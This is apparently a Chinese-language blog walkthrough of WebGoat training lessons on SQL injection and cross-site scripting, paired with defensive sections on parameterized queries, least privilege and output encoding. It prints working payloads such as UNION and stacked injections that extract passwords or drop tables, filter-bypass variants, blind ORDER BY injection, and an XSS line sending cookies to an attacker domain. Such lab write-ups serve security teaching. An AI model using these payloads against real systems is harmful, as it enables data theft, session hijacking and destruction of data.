0x03.Injection(注入)
一.sql注入(入门)
这里主要是sql基础(增删改查)毕竟sql都不会咋进行sql注入是不是
什么是SQL?
SQL 是一种标准化的编程语言(1986年通过 ANSI,1987 年通过 ISO),用于管理关系型数据库并对其中的数据执行各种作。数据库是一个数据集合。数据被组织成行、列和表格,并进行索引,以提高查找相关信息的效率。
打开是给了我们一个表格,让查询员工Bob Franco的部门,直接查就行
select department from employees where userid=96134
下一关是让吧Tobi Barnett的部门改成Sales,这里用到UOPDATE
UPDATE employees SET department = 'Sales' WHERE userid = 89762
再往后是在“employees”表中添加列“phone”(varchar(20))用到的是 ALTER ADD
ALTER TABLE employees
ADD phone VARCHAR(20);
后面是尝试将桌面权限授予用户:grant_rightsunauthorized_user,用到的是GRANT INSERT ON
grant insert on grant_rights to unauthorized_user
6,7,8讲的就是sql注入原理危害什么的,9是用了一个构造语句让你自己选一下以便理解直接跳过看第10关数值注入,

此时SQL语句变为SELECT * FROM user_data WHERE login_count = 1 AND userid = 1 or 1 =1 ;
前面1是错误的,构造or 1 = 1 让语句永远为true
11为字符注入

此时SQL语句变为
SELECT * FROM employees WHERE last_name = '1' AND auth_tan = ' 1' or '1' = '1 ' ;
通过1‘闭合前面的单引号然后再写入or '1闭合后面的单引号,使其永远为true
12让你更改字段

语句后面为3SL99A'; update employees set salary = 100000 where last_name='Smith'; --
通过单引号闭合前面语句 然后更新员工表里面的工资字段为100000 名字为史密斯,之后通过注释--注释掉后面语句当然--+也可以。
13就是让你清除日志了,直接
1' drop table access_log;--+ 删除日志
二.SQL注入(高级)
前两关也是介绍了一些sql里面的注释,联合查询,Join 运算符这些,直接看第三关

他要求获取到user_system_data表的数据,并找到David的密码,提示可以用union或者语句拼接,这个办法就多了
1,直接 David' OR 1=1;SELECT * FROM user_system_data;--(堆叠注入)
2, Dave' union select userid ,user_name,'3',password,'4',cookie,userid from user_system_data;--(联合查询)
由于user_data表有7个字段原查询返回7列,原查询返回7列,联合查询的SELECT部分需返回相同数量列。user_system_data表仅4列,需补充3列:重复userid列(确保第7列与原查询login_count类型兼容)。添加常量值'3'、'4'作为占位(匹配cc_number、cc_type类型兼容)。
3,’ or true union select 1,‘2’,‘3’,‘4’,‘5’,password, 7 from user_system_data–(跟上面同理,只是保留密码)
第4关讲的是盲注,即输入后,结果不显示。这种注入,只能询问一些问题,根据返回是false或者true来进行猜测攻击。比如说时间注入:id= 1; sleep(5) --如果存在注入,则在返回结果之前,会等待5秒
来到第5关,给了一个登录框,让以汤姆身份登录,登录框是没注入的,倒是注册里有不过却搞不出来,查了一下源码也没头绪,只能爆破咯(出题人口味独特)密码是thisisasecretfortomonly

第六关一直打不开,不知道是啥毛病,直接跳过吧

三.如何防止SQL注入
前面四关讲的是一些防止sql注入的手段,如静态查询,参数化查询
1. 安全存储过程(ListCustomers)——参数化查询的典范
CREATE PROCEDURE ListCustomers(@Country nvarchar(30))
AS
SELECT city, COUNT(*)
FROM customers
WHERE country LIKE @Country GROUP BY city
- 安全机制:
使用参数化查询(@Country作为参数传入),数据库引擎会将参数视为纯数据(而非SQL代码),避免用户输入被解析为可执行代码。- 示例调用:
EXEC ListCustomers 'USA'→ 实际执行:... WHERE country LIKE 'USA' - 即使输入
'%' OR 1=1 --,也会被当作字符串匹配,不会改变查询逻辑。
- 示例调用:
- 优势:
- 彻底防御SQL注入攻击。
- 数据库优化器可重用执行计划,提升性能。
- 代码逻辑清晰,易于维护。
2. 可注入存储过程(getUser)——动态SQL拼接的致命漏洞
CREATE PROCEDURE getUser(@lastName nvarchar(25))
AS
declare @sql nvarchar(255)
set @sql = 'SELECT * FROM users WHERE lastname = ' + @LastName + ''
exec sp_executesql @sql
- 漏洞原理:
动态拼接用户输入(@LastName)到SQL字符串中,攻击者可构造恶意输入篡改SQL逻辑。-
攻击示例1(万能密码):
输入:' OR 1=1 --
拼接后:SELECT * FROM users WHERE lastname = '' OR 1=1 --'
结果:返回所有用户记录(因1=1恒真,注释符--忽略后续代码)。 -
攻击示例2(数据泄露):
输入:'; DROP TABLE users --
拼接后:SELECT * FROM users WHERE lastname = ''; DROP TABLE users --'
结果:删除users表(若权限允许)。
-
- 风险根源:
- 字符串拼接:用户输入直接嵌入SQL代码,未进行任何过滤或参数化。
- 执行方式:
sp_executesql虽支持参数化,但此处未使用参数化版本(缺少@params和@values参数),导致输入被当作代码执行。
3. 修复方案:安全动态SQL的两种写法
方案1:完全参数化(推荐)
CREATE PROCEDURE getUser_Safe(@lastName nvarchar(25))
AS
DECLARE @sql NVARCHAR(255) = N'SELECT * FROM users WHERE lastname = @LastName'
EXEC sp_executesql @sql, N'@LastName NVARCHAR(25)', @LastName
- 原理:通过
sp_executesql的参数化接口,将@LastName作为独立参数传递,避免拼接。 - 优势:彻底防御注入,同时保留动态SQL的灵活性。
方案2:严格输入验证(辅助手段)
CREATE PROCEDURE getUser_Safe2(@lastName nvarchar(25))
AS
-- 仅允许字母、空格、连字符
IF @lastName NOT LIKE '%[^A-Za-z -]%'
BEGIN
SELECT * FROM users WHERE lastname = @lastName
END
ELSE
BEGIN
RAISERROR('Invalid input', 16, 1)
END
- 原理:通过正则表达式过滤危险字符(如
'、;、--)。 - 局限:需维护严格的白名单规则,可能影响业务灵活性。
第5关是让你完善java的一个参数化查询sql,这东西需要你有点java基础(幸好之前学过一些)

其实原本语句是这样的
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW); // 数据库连接
PreparedStatement str = conn.prepareStatement("SELECT status FROM users WHERE name=? AND mail=?"); // 预编译SQL问号为占位符str为变量
str.setString(1, name); // 绑定第一个参数(姓名)
str.setString(2, mail); // 绑定第二个参数(邮箱)
这里扩展一个更详细的吧
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
public class SafeUserQuery {
// 数据库配置(实际使用时替换为真实值)
private static final String DB_URL = "jdbc:mysql://localhost:3306/mydb";
private static final String DB_USER = "admin";
private static final String DB_PW = "securePassword123";
public static void main(String[] args) {
String name = "张三"; // 用户输入(示例)
String mail = "zhangsan@example.com"; // 用户输入(示例)
// 使用try-with-resources自动关闭资源
try (Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PW);
PreparedStatement str = conn.prepareStatement(
"SELECT status FROM users WHERE name = ? AND mail = ?")) { // 英文占位符!
// 绑定参数(索引从1开始)
str.setString(1, name); // 替换第一个?
str.setString(2, mail); // 替换第二个?
// 执行查询并处理结果
try (ResultSet rs = ps.executeQuery()) {
if (rs.next()) {
System.out.println("用户状态: " + rs.getString("status"));
} else {
System.out.println("未找到用户");
}
}
} catch (SQLException e) {
// 异常处理(实际项目中记录日志或抛出自定义异常)
System.err.println("数据库错误: " + e.getMessage());
}
}
}
第6关,让你自己写一个参数化查询

try {
// 1. 声明Connection对象(初始化为null)
Connection conn = null;
// 2. 建立数据库连接(使用预定义的DBURL/DBUSER/DBPW)
conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
// 3. 定义参数化查询语句(?为占位符)
String query = "SELECT * FROM users WHERE name = ?";
// 4. 创建PreparedStatement对象(预编译SQL)
PreparedStatement s = conn.prepareStatement(query);
// 5. 绑定字符串参数(索引1对应第一个?)
s.setString(1, "Bob");
// 6. 执行查询并获取结果集
ResultSet results = s.executeQuery();
} catch (Exception e) {
// 7. 统一异常处理(实际项目应记录具体错误)
System.out.println("Oops. Something went wrong!");
}
第7关是.NET的参数化查询,第8关是验证输入,看第9关

输入提示有空格我们可以用%20、//、/**/尝试过滤掉空格
1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--

第10关,他说什么仅仅靠输入验证是不够的

这里输入1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--
之后看返回里面报错是没有select和from的,尝试双写绕过
1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--

成功
12关主要讲的是一个条件判断语句,后面要用

来看第12关

他明显标出来下面提交字段不会有注入点,还通过order by注入,找半天没找到,但是主机名排序哪里可以点,应该是,抓包测一下

确认是了,而且是按照主机名排序,改成一个1试试

依次判断列数,到7报错了,报了个语句

select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by 7
现在知道字段,和表了,这就要用到上面的case判断语句来盲注
构造语句
(CASE WHEN ((SELECT SUBSTRING(ip,1,1) FROM servers WHERE hostname='webgoat-prd')=1) THEN hostname ELSE id END)
其中SUBSTRING([字段名], 1, 1) 表示从第一个字符开始截取一位也就是说一个一个猜字符,猜对了就返回主机名排序的回显,错了就返回id排序的回显

不行,那是不允许有空格或者过滤了某个关键字?用/**/,%20和双写绕过一点一点一点试试吧,试了好几遍还不行,吐了,难道是有其他转义?,后来发现单引号的问题,最终语句
(case%20when%20((select%20substring(ip,2,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=1)%20then%20hostname%20else%20id%20end)
但是一个一个写看会先也太慢了,直接在两个1哪里尝试爆破看吧之后看返回数值(太耗时间了)

最终爆破出ip:104.130.219.202
13 最小特权
使用最小权限集进行连接
应用程序应使用不同的凭据连接到数据库,以实现每个信任区别
应用程序很少需要对表或数据库的删除权限
数据库帐户应限制架构访问,即不允许账户修改数据的schema,如为表添加修改字段。
定义用于读取和读/写访问的数据库帐户
基于访问权限的多个连接池
对身份验证查询使用只读访问权限、对数据修改查询使用读/写访问权限、使用 execute 访问存储过程调用
四.XSS
XSS(Cross-Site Scripting)是一种常见的Web安全漏洞,攻击者通过向网页注入恶意脚本(如JavaScript),当其他用户浏览该网页时,浏览器会执行这些恶意脚本,从而窃取用户数据、劫持会话或进行其他恶意操作。
1. 攻击本质:信任被滥用
- 浏览器信任机制:浏览器默认信任当前域下的所有内容,包括来自服务器、第三方资源或用户输入的内容。
- 脚本执行漏洞:若网页未对用户输入进行充分过滤或转义,攻击者可注入恶意脚本,浏览器会将其视为合法代码执行。
2. XSS 的三种类型及原理
(1)反射型XSS(非持久型)
- 触发方式:通过URL参数、表单提交等“一次交互”触发。
- 攻击流程:
- 攻击者构造恶意链接(如
http://example.com/page?param=<script>alert(1)</script>)。 - 用户点击链接,服务器将
param参数的值直接返回页面(未过滤)。 - 浏览器执行恶意脚本,弹出警告或窃取cookie。
- 攻击者构造恶意链接(如
- 典型场景:搜索页面、错误提示页等动态生成内容的场景。
(2)存储型XSS(持久型)
- 触发方式:恶意脚本存储在服务器(如数据库),所有访问该页面的用户均会触发。
- 攻击流程:
- 攻击者在评论区、用户名等字段提交恶意脚本(如
<script>窃取cookie</script>)。 - 服务器将脚本存入数据库。
- 其他用户访问该页面时,脚本从数据库读出并执行。
- 攻击者在评论区、用户名等字段提交恶意脚本(如
- 危害程度:影响范围广,持续时间长,常用于窃取管理员权限或大规模钓鱼。
(3)DOM型XSS(客户端漏洞)
- 触发方式:不依赖服务器,通过JavaScript操作DOM时未过滤用户输入。
- 攻击流程:
- 网页使用JavaScript动态生成内容(如
document.write(location.hash))。 - 攻击者构造URL(如
http://example.com/#<img src=x onerror=窃取代码>)。 - 浏览器解析URL的hash部分,直接执行恶意脚本。
- 网页使用JavaScript动态生成内容(如
- 特点:漏洞存在于前端代码,与服务器无关,传统防护手段(如输入过滤)可能失效。
3. 攻击载荷与危害
- 常见载荷:
- 窃取Cookie:
<script>new Image().src='http://攻击者域名?cookie='+document.cookie;</script> - 钓鱼攻击:伪造登录表单,诱导用户输入账号密码。
- 键盘记录:监听用户输入,发送至攻击者服务器。
- 端口扫描:探测内网环境,扩大攻击范围。
- 窃取Cookie:
- 危害范围:
- 用户隐私泄露(如账号、支付信息)。
- 网页篡改(如插入恶意广告)。
- 会话劫持(通过窃取的Cookie冒充用户)。
- 分布式拒绝服务(DDoS)攻击。
4. 防御措施
- 输入验证与过滤:
- 对用户输入进行白名单过滤(仅允许特定字符)。
- 使用库(如OWASP Java Encoder)进行HTML/JavaScript转义。
- 输出编码:
- 根据输出位置(HTML、属性、URL)进行差异化编码。
- 示例:将
<转为<,防止标签注入。
- 安全策略:
- HTTP-Only Cookie:禁止JavaScript访问敏感Cookie。
- Content Security Policy (CSP):限制脚本来源,禁止内联脚本执行。
- X-XSS-Protection:启用浏览器内置XSS防护(已逐步被CSP取代)。
- 框架与工具:
- 使用现代框架(如React、Vue)的自动转义功能。
- 部署Web应用防火墙(WAF)检测恶意请求。
- 其他措施:
- 设置合适的HTTP头(如
X-Content-Type-Options: nosniff防止MIME嗅探攻击)。 - 定期进行安全审计与漏洞扫描。
- 设置合适的HTTP头(如
五.反射XSS
1到6关讲的都是一些概念 直接第7关
直接<script>alert('XSS')</script>,毫无任何过滤。也可以<script>console.log(document.cookie)</script>盗取cookie

第8第9讲的是dom型XSS看第10关
这是一个DOM型的XSS
源码
@PostMapping("/CrossSiteScripting/phone-home-xss")
public AttackResult completed(
@RequestParam Integer param1,
@RequestParam Integer param2,
HttpServletRequest request) {
if (param1 == 42 && param2 == 24 &&
request.getHeader("webgoat-requested-by").equals("dom-xss-vuln")) {
return success(this).build();
}
}
查看js源码发现

正确答案start.mvc#test/
原理:正常教学路由(如lesson/CrossSiteScripting.lesson/9)用于加载安全课程
测试路由test/testParam=:value 可能在开发阶段遗留,未在生产环境中移除或禁用。
来看第11

这个一眼就能了解他的要求,就是直接访问刚刚我们找到的路径
http://127.0.0.1:8080/WebGoat/start.mvc#test/param1=foobar¶m2=DOMXSS%3Cscript%3Ewebgoat.customjs.phoneHome%28%29%3C%2Fscript%3E
六.存储型XSS
很简单

这里直接<script>webgoat.customjs.phoneHome()</script>是不行的,直接被过滤了那就一点一点输入看过滤了啥
发现直接webgoat.customjs.phoneHome()可以<>可以,<t>可以,唯独script不行,然后又尝试大小写绕过,HTML实体编码绕过<script>alert(1)</script>但是这个在alert(1)总是变成alert (1),还是不行,最终用注释绕过发现成功
<!-- --><script>webgoat.customjs.phoneHome()</script>
七.XSS防御
其实防御有很多种方法像
1. 输入验证与过滤
- 白名单验证:仅允许符合预设规则的字符(如字母、数字、下划线),拒绝
<,>,",',&等危险字符。例如,使用正则表达式^[a-zA-Z0-9_]+$验证用户名。 - 长度限制:限制输入字段的最大长度,防止长脚本注入(如
<script>alert(...)被截断)。 - 类型校验:对数字、邮箱、电话等字段进行格式校验,避免非预期输入。
- 工具支持:使用OWASP ESAPI库的
Validator类进行标准化验证,或利用Java的javax.validation注解(如@Pattern)。
2. 输出编码(上下文敏感)
- HTML实体编码:将
<,>,",'分别转义为<,>,",',适用于HTML标签内容。 - JavaScript编码:对字符串中的
\,",', 换行符等进行转义,防止注入到eval()或innerHTML。 - URL编码:对
?,&,=等参数分隔符进行编码,避免参数篡改。 - CSS编码:对
",',(,)等进行转义,防止CSS注入攻击。 - 框架内置转义:如React JSX自动对
{}内的表达式进行HTML转义,Angular使用{{ }}语法自动编码。
第5关我先采用的JSTL的<c:out>标签
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<title>Secure Form Handling</title>
</head>
<body>
<h1>Using POST Method Securely</h1>
<table>
<tbody>
<tr>
<td><b>First Name:</b></td>
<td><c:out value="${param.first_name}"/></td>
</tr>
<tr>
<td><b>Last Name:</b></td>
<td><c:out value="${param.last_name}"/></td>
</tr>
</tbody>
</table>
</body>
</html>
原理:<c:out>自动将<script>alert()等特殊字符转义为HTML实体(如<),使浏览器将其视为普通文本而非可执行代码。
发现不行,尝试使用Apache Commons Text库转义
<%@ page import="org.apache.commons.text.StringEscapeUtils" %>
<tr>
<td><b>First Name:</b></td>
<td><%= StringEscapeUtils.escapeHtml4(request.getParameter("first_name")) %></td>
</tr>
还是不行,没招了,看看源码吧,发现用的是在JSP中引入OWASP Java Encoder标签库其实前两个本质上也可以,谁知道呢(出题人口味独特)
<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
<html>
<head>
<title>Using GET and POST Method to Read Form Data</title>
</head>
<body>
<h1>Using POST Method to Read Form Data</h1>
<table>
<tbody>
<tr>
<td><b>First Name:</b></td>
<td>${e:forHtml(param.first_name)}</td>#自动将<script>alert()等特殊字符转义为HTML实体(如<)
</tr>
<tr>
<td><b>Last Name:</b></td>
<td>${e:forHtml(param.last_name)}</td>
</tr>
</tbody>
</table>
</body>
</html>
<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>:这一行引入了一个JSP标签库,其前缀为"e",URI为"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project"。这个标签库用于对输入进行编码,以防止XSS(跨站脚本)攻击。
${e:forHtml(param.first_name)} 和 ${e:forHtml(param.last_name)}:这些是JSTL(JSP Standard Tag Library)中的表达式,用于从请求参数中获取"first_name"和"last_name"的值,并使用前面引入的OWASP Java Encoder标签库对它们进行编码,以防止XSS攻击。然后,这些编码后的值将被插入到HTML表格中。
第6关直接看答案吧
import org.owasp.validator.html.*;
import MyCommentDAO;
public class AntiSamyController {
public void saveNewComment(int threadID, int userID, String newComment){
Policy policy = Policy.getInstance("antisamy-slashdot.xml");
AntiSamy as = new AntiSamy();
CleanResults cr = as.scan(newComment, policy);
MyCommentDAO.addComment(threadID, userID, cr.getCleanHTML());
}
}
Policy.getInstance("antisamy-slashdot.xml"):加载预定义策略文件,该文件定义了允许的HTML标签(如<b>, <i>)和属性(如href需匹配http/https),同时禁止<script>, <iframe>等危险标签。
as.scan(newComment, policy):对用户输入进行深度扫描,识别并移除违反策略的标签/属性,同时保留安全格式(如换行符转为<br>)。
cr.getCleanHTML():输出经过净化的HTML片段,仅包含策略允许的内容。

2538

被折叠的 条评论
为什么被折叠?



